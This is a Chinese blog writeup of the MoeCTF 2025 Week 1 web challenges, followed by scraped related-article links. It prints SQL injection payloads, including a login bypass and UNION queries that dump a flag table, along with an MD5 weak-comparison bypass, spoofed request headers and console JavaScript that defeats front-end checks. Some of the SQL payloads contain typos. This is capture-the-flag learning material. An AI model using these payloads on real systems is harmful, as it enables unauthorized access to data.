当前位置: 首页 > news >正文

MoeCTF 2025 Writeup

当时博主只做了 Week 1

Week 1

Web1

事件绑定 passwordInput,这里禁止粘贴

正确密码就在 JS 中藏着


JS 程序纯粹前端校验,字符串相等即可,直接控制台赋值,调用 JS 函数

document.querySelector('#passwordInput').value = CORRECT_PASSWORD; validatePassword();

也可以直接干掉禁止粘贴

document.getElementById('passwordInput').removeEventListener('paste', handlePaste);

再粘贴就没有限制

Web2

找了半天

Web3

script 逻辑就是需要模拟发包,/test_talent?level=S 且 JSON 字符串为流云状青芒

按照思路发包

POST /test_talent?level=S Content-Type: application/json {"manifestation":"流云状青芒"}

返回包就是不带 FLAG,一度卡住,甚至直接改网页源码试了一下

async function testTalent() { try { const res = await fetch('/test_talent?level=S', { method: 'POST', headers: {'Content-Type': 'application/json', 'Accept':'application/json'}, body: JSON.stringify({ manifestation: '流云状青芒' }) }); const data = await res.json(); document.getElementById('result').textContent = data.result; const glow = document.getElementById('glow'); glow.style.opacity = /流云状青芒/i.test(data.result) ? '1' : '0'; setTimeout(() => alert(`✨ 天道机缘:${data.flag} ✨\n\n天赋篡天术大成!`), 500); } catch (e) { alert('玄轨连接中断!请检查灵枢...'); } }


看到简介

Web4

第一关: /stone_golem?key=xdsec 第二关: /cloud_weaver POST:declaration=织云阁=第一 第三关: /shadow_stalker X-Forwarded-For:127.0.0.1 第四关: /soul_discerner User-Agent:moe browser 第五关:你需要以xt的身份认证user! /heart_seal Cookie: user=xt 第六关:你不是从http://panshi/entry来的吗?快回去! /pathfinder Referer:http://panshi/entry 第七关: PUT /void_rebirth 新生!
bW9lY3Rme0MwbjZyNDd1MTQ3MTBuNV95MHVyX2g3N1BfbDN2M2xfMTVfcjM0bGx5X2gxOWghfQ== moectf{C0n6r47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!}

Web5

Web6

1'or'1'='1

Web7

<?php highlight_file(__FILE__); $flag = getenv('FLAG'); $a = $_GET["a"] ?? ""; $b = $_GET["b"] ?? ""; if($a == $b){ die("error 1"); } if(md5($a) != md5($b)){ die("error 2"); } echo $flag;

md5 弱比较

/flag.php?a=QNKCDZO&b=240610708

Web8

1'or(true)order by 2# 1'or(true)order by 3# 1'union select (select group_concat(table_name) from informations_schema.tables where table_name=database())2# 1'union select (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),2# 1'union select (select group_concat(value) from user.flag),2#

Web9

访问这个路由直接就能拿到 FLAG,无需借助前端调用函数


免责声明
本文章所涉及仅供技术研究和学习之用。所有操作仅在合法授权的环境中进行,绝不用于任何非法活动。作者对因本文章内容导致的任何后果不承担责任。请读者务必遵守相关法律法规,合理使用本知识。


如果你对本文内容感兴趣,欢迎关注我 “Sh1n Sec”,获取更多网络安全、漏洞分析等相关内容。如对于文章中的技术细节有疑问、附件有需要,欢迎私信我,我会尽量帮助解答。期待与您的交流!

http://www.jsqmd.com/news/761440/

相关文章:

  • 别再手动改yaml了!Dify 2026审计配置自动化脚本开源实测:3分钟生成符合等保三级要求的全链路配置包
  • 2026海水淡化不锈钢厂家地址:S31254材质保真、S31254焊管、S31254现货供应、S31254管材选择指南 - 优质品牌商家
  • 告别毕业论文焦虑:用百考通AI一站式搞定本科论文终稿
  • VLA-4D框架:让机器人理解复杂指令的4D视觉语言动作模型
  • Docker Compose 与 Kubernetes 在小型项目部署中的选型对比
  • 告别重复劳动:用快马AI自动生成Matlab风格的数据分析与可视化模板
  • GEC6818开发板玩出新花样:用C语言+LVGL实现智能贩卖机,并接入虚拟机服务器做数据管理
  • 自适应预测分布收敛性研究及其应用
  • 智能体应用生态测绘:从Agent Usage Atlas看技术选型与架构设计
  • 72.YOLOv8实战教程,CUDA118加速,mAP50破0.92,代码亲测可用
  • 毕业季论文自救指南:用“百考通AI”高效搞定本科毕业论文终稿
  • 2026选优质东方高端珠宝,这些要点要知道,高端珠宝/东方秩序/东方美学珠宝/东方高端珠宝,东方高端珠宝设计有哪些 - 品牌推荐师
  • GTNH汉化完整指南:3步实现GregTech整合包中文界面
  • 室内灯光也能用!手把手教你为低功耗传感器DIY太阳能充电模块(附完整电路图)
  • 2026储能包塑金属软管技术解析:消防塑料波纹管、消防用包塑金属软管、穿线波纹管、船舶包塑金属软管、设备线束塑料波纹管选择指南 - 优质品牌商家
  • 扩展加载即沦陷?手把手教你禁用危险函数、签名验证与沙箱隔离,30分钟完成生产环境加固
  • 别再到处找了!手把手教你下载和整理FROM_GLC等主流土地覆盖数据(附避坑指南)
  • Docker Compose 插件版与独立版功能区别及升级迁移指南
  • 量子优化算法DO-QAOA:NISQ时代的突破与挑战
  • Spring Boot项目打包报错?别慌,手把手教你搞定Java版本不匹配(附版本对照表)
  • 从安装到实战:在快马平台完成python环境搭建后直接进行数据分析项目
  • Robustel EG5101/EG5200工业物联网网关选型与应用解析
  • 2026年4月行业内优质的提花针织牛仔直销厂家口碑推荐,针织牛仔布/印花针织牛仔,提花针织牛仔直销厂家找哪家 - 品牌推荐师
  • FaceX-Zoo技术深度:Swin Transformer在人脸识别中的创新应用
  • 2026成都灌浆料厂家排行:成都压浆料厂家推荐/成都压浆料厂家推荐/成都抗裂砂浆批发厂家/成都抗裂砂浆批发厂家/选择指南 - 优质品牌商家
  • FastAPI 路径参数
  • 为什么BBC、Guardian等顶级媒体都在使用sass-mq:企业级响应式设计实战
  • 双曲空间视觉语言模型中的不确定性对齐技术
  • 5分钟掌握YimMenu:GTA5终极开源防护菜单深度解析
  • 统信UOS蓝牙开关失灵?别慌,用systemctl和rfkill这两条命令轻松搞定